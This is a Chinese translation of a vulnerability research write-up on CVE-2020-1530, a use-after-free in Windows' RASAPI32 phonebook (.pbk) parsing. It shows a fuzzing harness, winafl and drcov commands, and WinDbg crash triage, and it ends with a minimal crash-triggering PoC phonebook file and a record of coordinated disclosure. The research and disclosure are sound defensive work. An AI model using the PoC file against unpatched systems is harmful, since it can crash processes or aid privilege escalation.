Windows PhoneBook释放后使用漏洞的发现过程与分析(CVE-2020-1530)
2020-08-25 13:52:30 Author: www.4hou.com(查看原文) 阅读量:407 收藏

1.png

0x00 前言

早在今年4月,我就开始浏览MSDN,主要是探索一种不太常见的文件格式,这种文件格式此前并没有经过混淆,在每个现代的Windows版本上都是可用的,因此我觉得可能有机会在其中寻找到漏洞。在进行了数个小时的尝试后,我发现了RasEnumEntriesA这个API:

2.png

那么,什么是PhoneBook(pbk)文件呢?

在这里,我们可以查到:

“通讯簿(PhoneBook)提供了一种标准方式来收集和指定远程访问连接管理(Remote Access Connection Manager)建立远程连接所需的信息。通讯簿将条目名称与电话号码、COM端口、调制解调器设置等信息相关联。每个通讯簿条目均包含建立RAS连接所需的信息。通讯簿存储在通讯簿文件中,通讯簿文件是包含条目名称和相关信息的文本文件。RAS创建一个名为RASPHONE.PBK的通讯簿文件。用户可以使用‘拨号网络’对话框来创建个人通讯簿文件。RAS API当前不支持创建通讯簿文件。某些RAS函数(例如RasDial函数)具有指定通讯簿文件的参数。如果调用者未指定通讯簿文件,则该函数使用默认通讯簿文件,这个文件是用户在‘拨号网络’对话框的‘用户首选项’属性表中选择的文件。”

这正是我想要的!

在本文中,我们将深入研究Windows PhoneBook API,并继续查找样本、创建工具、检查覆盖率、对API进行模糊处理,以寻找漏洞。

0x01 获取示例

由于我对通讯簿文件格式完全不熟悉,因此通过快速搜索,找到了一些示例文件格式:

3.png

示例文件格式如下所示:

[SKU]
Encoding=1
PBVersion=4
Type=2
AutoLogon=0
UseRasCredentials=1
LowDateTime=688779312
HighDateTime=30679678
DialParamsUID=751792375
-- snip --
AuthRestrictions=512
IpPrioritizeRemote=1
IpInterfaceMetric=0
IpHeaderCompression=0
IpAddress=0.0.0.0
IpDnsAddress=0.0.0.0
IpDns2Address=0.0.0.0
IpWinsAddress=0.0.0.0
IpWins2Address=0.0.0.0
 
NETCOMPONENTS=
ms_msclient=1
ms_server=1
 
MEDIA=rastapi
Port=VPN1-0
Device=WAN Miniport (PPTP)
 
DEVICE=vpn
PhoneNumber=vpn.sku.ac.ir
AreaCode=
CountryCode=0
CountryID=0
UseDialingRules=0
Comment=
FriendlyName=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1

0x02 寻找攻击面

接下来,我迅速获取了一些示例,并进行了实验。事实证明,Windows已经附带了位于system32目录下的可执行文件rasphone.exe,该可执行文件还提供了许多值得关注的参数,这些参数及其说明列举如下:

4.png

现在,下一步是确保我们确实使用了RasEnumEntries函数。可以选择使用一些Windows API监视工具,但在这里,我是用的是经典的WinDbg方法,仅设置一个断点:

0:000> bp RASAPI32!RasEnumEntriesA
0:000> bp RASAPI32!RasEnumEntriesW

不知道大家有没有注意到,在页面的最下方,有一个注释:

“ras.h标头将RasEnumEntries定义为别名,这个别名将根据UNICODE预处理程序常量的定义,自动选择这个函数的ANSI或Unicode版本。如果将中性编码(Encoding-neutral)的别名用法与非中性编码的代码混合,可能会导致不匹配,从而导致编译或运行时出错。有关这部分的更多信息,可以参考函数原型约束。”

简而言之,与使用宽字符串(Unicode)的RasEnumEntriesW相比,RasEnumEntriesA使用ANSI版本。

通过运行windbg.exe rasphone.exe -f sample.pbk加载文件后,我们可以观察到以下内容:

5.png

查看栈回溯,很明显发现rasphone二进制文件调用了RASDLG API(对RASAPI32 API进行的对话框包装),然后最终到达了目标(RasEnumEntriesW)。目前,一切顺利。

0x03 构建工具

这一章是本文最重点的部分,如果大家关注过@gamozolabs的视频,就会了解到模糊测试无非是在构建合适的工具并探索正确的代码路径而已。那我们从哪里开始呢?幸运的是,在以前指向RasEnumEntries文档的链接中,Microsoft提供了一个不错的示例文档。通过阅读示例代码,我们发现需要调用两次RasEnumEntries函数,第一次获取所需的缓冲区大小,第二次使用正确的参数执行真正的调用。在示例中,还缺少一个非常重要的参数,RasEnumEntries函数的第二个参数为NULL,因此这些条目是从All Users配置文件和用户配置文件中所有可以远程访问的通讯簿文件中枚举的。我们来调整一下:

// RasEntries.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
 
#include < iostream >
#include < windows.h >
#include < stdio.h >
#include "ras.h"
#include "raserror.h"
#pragma comment(lib, "rasapi32.lib")
 
 
int main(int argc, char** argv)
{
    DWORD dwCb = 0;
    DWORD dwRet = ERROR_SUCCESS;
    DWORD dwErr = ERROR_SUCCESS;
    DWORD dwEntries = 0;
    LPRASENTRYNAME lpRasEntryName = NULL;
    DWORD rc;
    DWORD dwSize = 0;
    LPCSTR lpszPhonebook = argv[1];
    DWORD dwRasEntryInfoSize = 0;
 
    RASENTRY* RasEntry = NULL;      // Ras Entry structure
    BOOL bResult = TRUE;    // return for the function
    RasEntry = (RASENTRY*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
        sizeof(RASENTRY));
 
    printf("main: %p\n", (void*)main);
 
    if (argc < 2) {
        printf("Usage: %s < bpk file > \n", argv[0]);
        return 0;
    }
 
    // Call RasEnumEntries with lpRasEntryName = NULL. dwCb is returned with the required buffer size and
    // a return code of ERROR_BUFFER_TOO_SMALL
    dwRet = RasEnumEntriesA(NULL, lpszPhonebook, lpRasEntryName, &dwCb, &dwEntries);
 
    if (dwRet == ERROR_BUFFER_TOO_SMALL) {
        // Allocate the memory needed for the array of RAS entry names.
        lpRasEntryName = (LPRASENTRYNAME)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwCb);
        if (lpRasEntryName == NULL) {
            wprintf(L"HeapAlloc failed!\n");
            return 0;
        }
        // The first RASENTRYNAME structure in the array must contain the structure size
        lpRasEntryName[0].dwSize = sizeof(RASENTRYNAME);
 
        // Call RasEnumEntries to enumerate all RAS entry names
        dwRet = RasEnumEntries(NULL, lpszPhonebook, lpRasEntryName, &dwCb, &dwEntries);
 
        // If successful, print the RAS entry names
        if (ERROR_SUCCESS == dwRet) {
 
            printf("Number of Entries %d\n", dwEntries);
            wprintf(L"The following RAS entry names were found:\n");
 
            for (DWORD i = 0; i < dwEntries; i++) {
                printf("%s\n", lpRasEntryName[i].szEntryName);
            }
 
        }
        //Deallocate memory for the connection buffer
        HeapFree(GetProcessHeap(), 0, lpRasEntryName);
        lpRasEntryName = NULL;
    }
 
 
    return 0;
}

编译上述代码,并使用示例文件运行代码:

6.png

很好,我们已经可以使用这样的原始工具去测量代码覆盖率(请参考下一章),但这样的效果并不是很好。因此,下一步是尝试在RASAPI32 API中添加1-2个函数,以增加代码覆盖范围,并增大发现Bug的概率。经过大量的实验和出错,以及反复查阅GitHub Repos,最终得到的工具如下:

7.png

在这里,我添加了RasValidateEntryName和RasGetEntryProperties函数。使用另一个文件样本运行最终版本的工具,得到的截图如下:

8.png

0x04 探索代码覆盖率

在准备好工具,并使用示例进行尝试之后,我快速编写了这个Python代码片段,用于自动化通过drcov获取DynamoRIO文件的过程:

import subprocess
import glob
 
samples = glob.glob("C:\\Users\\simos\\Desktop\\pbk_samples\\*")
 
for sample in samples:
       harness = "C:\\pbk_fuzz\\RasEntries.exe %s test" % sample
       command = "C:\\DRIO79\\bin32\\drrun.exe -t drcov -- %s" % harness
       print "[*] Running harness %s with sample %s" % (harness, command)    
       p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       out, err = p.communicate()
       print out
       print err

运行上面的简单脚本后,得到以下输出:

9.png

注意DynamoRIO产生的drcov *.log文件。我仅仅是在BinaryNinja中加载了RASAPI32.dll,并使用了lightouse插件。

10.png

根据上面的截图,可以看出覆盖率还不到10%。理想情况下,我们预期文件样本至少能使用20%的模块。尽管如此,我还是决定继续尝试,看看是否能得到不错的结果。

0x05 模糊测试

有了最终工具和上面的示例,同时已经测量了一些基本的代码覆盖率,现在是时候进行模糊测试了。在模糊测试的过程中,我使用了两种不同的技术,一种是winafl,另一种是我编写的简单模糊测试框架,该框架只是对radamsa和winappdbg进行包装,用于监视和保存崩溃。以前,我确实使用winafl取得了一些成功,但是在涉及到基于文本的格式分析这样的目标时,winafl并不是非常有效。

在这次测试过程中,我使用了更新到最新版本的Windows 7 x64虚拟机(在迁移到Windows 10之前,我从Microsoft Dev获得),我经常遇到DynamoRIO无法从其它Windows DLL获得合适覆盖的问题,即使使用最新的DynamoRIO重新编译winafl也是如此。通常情况,我都会使用一个技巧,并且百试百灵——

禁用ASLR!

11.png

ASLR会随机化偏移量,并且通常会让事情变得更加复杂。因此,当我进行模糊测试时,我发现先禁用它会变得更加容易,并且我们会得到指向main()或my_target()的静态地址。

接下来,使用先前获得的地址迅速运行winafl:

afl-fuzz.exe -i Y:\samples -o Y:\pbk_fuzz -D Y:\DRIO7\bin32\ -t 20000 -- -target_module RasEntries.exe -coverage_module RASAPI32.dll -target_offset 0x01090 -fuzz_iterations 2000 -nargs 2 -- Y:\RasEntries.exe @@

接下来,winafl就会为我们完成所有的工作。这里,我只是使用winafl对我的工具(RasEntries.exe)进行了检测,并使用RASAPI32.dll DLL进行了覆盖。经过三天的模糊测试,得到以下结果:

12.png

在大量崩溃中,有25个是属于唯一的。值得一提的是,在仅仅进行了半个小时的模糊测试后,我就几乎成功得到了第一次崩溃。下面是一些值得关注的发现:

1、由于模糊过程中会持续不断地遇到相同的错误,因此我在它还在寻找新路径的过程中就将模糊工具停止了。

2、最开始的速度相当不错(每秒超过100次执行),但随着我们不断发现更多的路径,其速度也开始下降。

3、稳定性 < 90%,推测也许是消耗的内存没有进行正确清理?

在这个阶段,我还要提到,如果运行类似于radamsa这样的简单模糊工具,我们实际上可能会在几秒钟内就发生崩溃:

13.png

0x06 崩溃的分类

14.png

从上图中可以看出,崩溃的大小几乎相同,这表明我们可能一次又一次地遇到相同的错误。在使用BugId让这个过程自动化之后,我们最终发现,25个“唯一的”漏洞实际上是相同的情况!

0x07 漏洞分析

在准备好工具后,我们发现可以产生崩溃。接下来,我们在调试器下运行:

15.png

在启用页面堆和栈跟踪(gflags.exe /i binary +hpa +ust)的情况下,注意我们是如何再次触发崩溃的。崩溃发生在wcsstr函数中:

返回指向str中首次出现的strSearch的指针,如果strSearch没有出现在str中,则返回NULL。如果strSearch指向长度为0的字符串,则该函数返回str。

同时,也会被RASAPI32的ReadEntryList函数调用。我们正在尝试解引用edx指向的值,根据页面验证,该值无效。实际上,尝试获取有关edx寄存器中存储的内存地址的更多信息,我们可以证实它先前已经被释放。显然,这是一种释放后使用(Use-After-Free)的状况,因为某种程度上已经释放了该内存,但wcsstr函数仍然尝试访问这一部分的内存。现在,让我们找出问题的真正所在。

在这个步骤,我不得不切换使用新旧版本的WinDBG,因为新版本在检查可用内存时不是非常可靠。首先,我们检查释放的分配:

16.png

根据上图,在0x7214936c处,RASAPI32!CopyToPbport+0x00000064负责释放内存。在进行Unassemble(ub)后,其结构如下:

72149361 7409            je      RASAPI32!CopyToPbport+0x64 (7214936c)
72149363 ff770c          push    dword ptr [edi+0Ch]
72149366 ff159ca01672    call    dword ptr [RASAPI32!_imp__GlobalFree (7216a09c)]

让我们重新启动WinDBG,并设置一个断点:

0:000> ?72149366 - RASAPI32
Evaluate expression: 693094 = 000a9366
0:000> bp RASAPI32+000a9366

我们计算RASAPI32基本模块的偏移量,由于ASLR会重新确定其偏移量,因此我们无法获得其确切值。

17.png

正如预期的那样,到达了内存断点。在释放该内存之前,通过反汇编我们看到,KERNELBASE!GlobalFree函数仅获得了一个参数:

push    dword ptr [edi+0Ch]

要再次确认,我们可以参阅MSDN文档:

    HGLOBAL GlobalFree( _Frees_ptr_opt_ HGLOBAL hMem );

其中还有一些值得关注的位,分配的缓冲区的值为0x2a。这非常关键,因为我们需要知道这个值是否能由用户控制。那么它是多少个字节呢?

0:000> ?2a
Evaluate expression: 42 = 0000002a

由此看来,初始分配的缓冲区为42个字节。接下来,我们需要知道哪些函数被调用。

0:000> ub 721355f8
RASAPI32!StrDupWFromAInternal+0x1a:
721355dd 50              push    eax
721355de 53              push    ebx
721355df ff15bca11672    call    dword ptr [RASAPI32!_imp__MultiByteToWideChar (7216a1bc)]
721355e5 8945fc          mov     dword ptr [ebp-4],eax
721355e8 8d044502000000  lea     eax,[eax*2+2]
721355ef 50              push    eax
721355f0 6a40            push    40h
721355f2 ff15a4a01672    call    dword ptr [RASAPI32!_imp__GlobalAlloc (7216a0a4)]

经过一些基本的逆向工程之后,我们可以看到在RASAPI32的StrDupWFromAInternal函数中,首先调用了MultiByteToWideChar,然后根据字符串的长度,使用以下两个参数来调用GlobalAlloc:

DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  UINT   uFlags,
  SIZE_T dwBytes
);

第一个是静态值0x40,通过查询文档,发现它对应uFlags。

GMEM_ZEROINIT
 
0x0040
       Initializes memory contents to zero

第二个参数是先前计算的字符串长度:

18.png

查看分配前的状态:

0:000> dc edi
0019f07c  314e5056 0000302d 00000000 00000000  VPN1-0..........
0019f08c  00000000 00000000 00000000 00000000  ................
0019f09c  00000000 00000000 00000000 00000000  ................
0019f0ac  00000000 00000000 00000000 00000000  ................
0019f0bc  00000000 00000000 00000000 00000000  ................
0019f0cc  00000000 00000000 00000000 00000000  ................
0019f0dc  00000000 00000000 00000000 00000000  ................
0019f0ec  00000000 00000000 00000000 00000000  ................
0:000> p
eax=00000007 ebx=0000fde9 ecx=c8a47ecb edx=00000007 esi=00000000 edi=0019f07c
eip=721355e8 esp=0019f048 ebp=0019f058 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RASAPI32!StrDupWFromAInternal+0x25:
721355e8 8d044502000000  lea     eax,[eax*2+2]
0:000>
eax=00000010 ebx=0000fde9 ecx=c8a47ecb edx=00000007 esi=00000000 edi=0019f07c
eip=721355ef esp=0019f048 ebp=0019f058 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RASAPI32!StrDupWFromAInternal+0x2c:
721355ef 50              push    eax
0:000>
eax=00000010 ebx=0000fde9 ecx=c8a47ecb edx=00000007 esi=00000000 edi=0019f07c
eip=721355f0 esp=0019f044 ebp=0019f058 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RASAPI32!StrDupWFromAInternal+0x2d:
721355f0 6a40            push    40h
0:000>
eax=00000010 ebx=0000fde9 ecx=c8a47ecb edx=00000007 esi=00000000 edi=0019f07c
eip=721355f2 esp=0019f040 ebp=0019f058 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RASAPI32!StrDupWFromAInternal+0x2f:
721355f2 ff15a4a01672    call    dword ptr [RASAPI32!_imp__GlobalAlloc (7216a0a4)] ds:002b:7216a0a4={KERNELBASE!GlobalAlloc (76a2f000)}
0:000> dds esp L2
0019f040  00000040   <== uFlags
0019f044  00000010   <== dwBytes

因此,可以看出,“VPN1-0”通讯簿条目的长度是6 + 1,由用户控制,将其乘以2再加上2后,就作为了GlobalAlloc方法的参数。既然如此,那么我们绝对可以控制它。

但是,是什么导致了释放呢?花了一些时间后,我发现问题出现在通讯簿的这个条目上:

19.png

因此,格式错误的条目会导致StrDupWFromAInternal释放内存。

0x08 漏洞利用

现在,我们对于这个漏洞已经有了基本的了解,接下来就开始尝试利用。我们先从最小化PoC开始:

[CRASH]
Encoding=1
PBVersion=4
Type=2
 
MEDIA=rastapiPort=VPN1
Device=AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
 
DEVICE=vpn
PhoneNumber=localhost
AreaCode=
CountryCode=0
CountryID=0
UseDialingRules=0
Comment=
FriendlyName=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1

根据之前的分析,我们希望看到eax具有设备输入 “AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD”+1 = 33 (0x21) 字节的长度:

20.png

我们的假设是正确的!那么,实际分配呢?

eax=00000021 ebx=0000fde9 ecx=1184fd4b edx=00000021 esi=00000000 edi=0019f07c
eip=721355e8 esp=0019f048 ebp=0019f058 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RASAPI32!StrDupWFromAInternal+0x25:
721355e8 8d044502000000  lea     eax,[eax*2+2]
0:000> p
eax=00000044 ebx=0000fde9 ecx=1184fd4b edx=00000021 esi=00000000 edi=0019f07c
eip=721355ef esp=0019f048 ebp=0019f058 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

如前所述,最终得到的值是eax * 2 + 2,即0x44字节。

21.png

注意,在监视分配/释放后,我们可以看到内存分配器将初始值近似为0x48,然后又进行了三个分配,最终地址被重新使用。

最终,我们需要找到一种方法,用相同大小的东西来替换掉释放的对象。

0x09 总结

尽管我们已经获得了一个可以利用的原语,能够实现释放后使用(UAF),但遗憾的是,在现实中还缺少脚本环境,让漏洞利用变得相对困难。我认为,并没有简单的方法可以操纵对象或分配器。希望大家可以进行深入研究,找到实现这一目标的方式。

0x10 时间节点

2020年4月27日 初次报告给Microsoft。

2020年8月11日 Microsoft分配了该漏洞的编号CVE-2020-1530。

2020年8月11日 Microsoft将该漏洞确认为特权提升漏洞,CVSS评分为7.8。

2020年8月11日 Microsoft发布修复补丁。

0x11 参考资料

[1] RasEnumEntries文档:https://docs.microsoft.com/en-us/windows/win32/api/ras/nf-ras-rasenumentriesa

[2] 请求拨号连接文档中的示例通讯簿文件:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/65a59781-dfc5-4e9c-a422-3738d1fc3252

本文翻译自:https://symeonp.github.io/2020/12/08/phonebook-uaf-analysis.html如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/Ggr7
如有侵权请联系:admin#unsafe.sh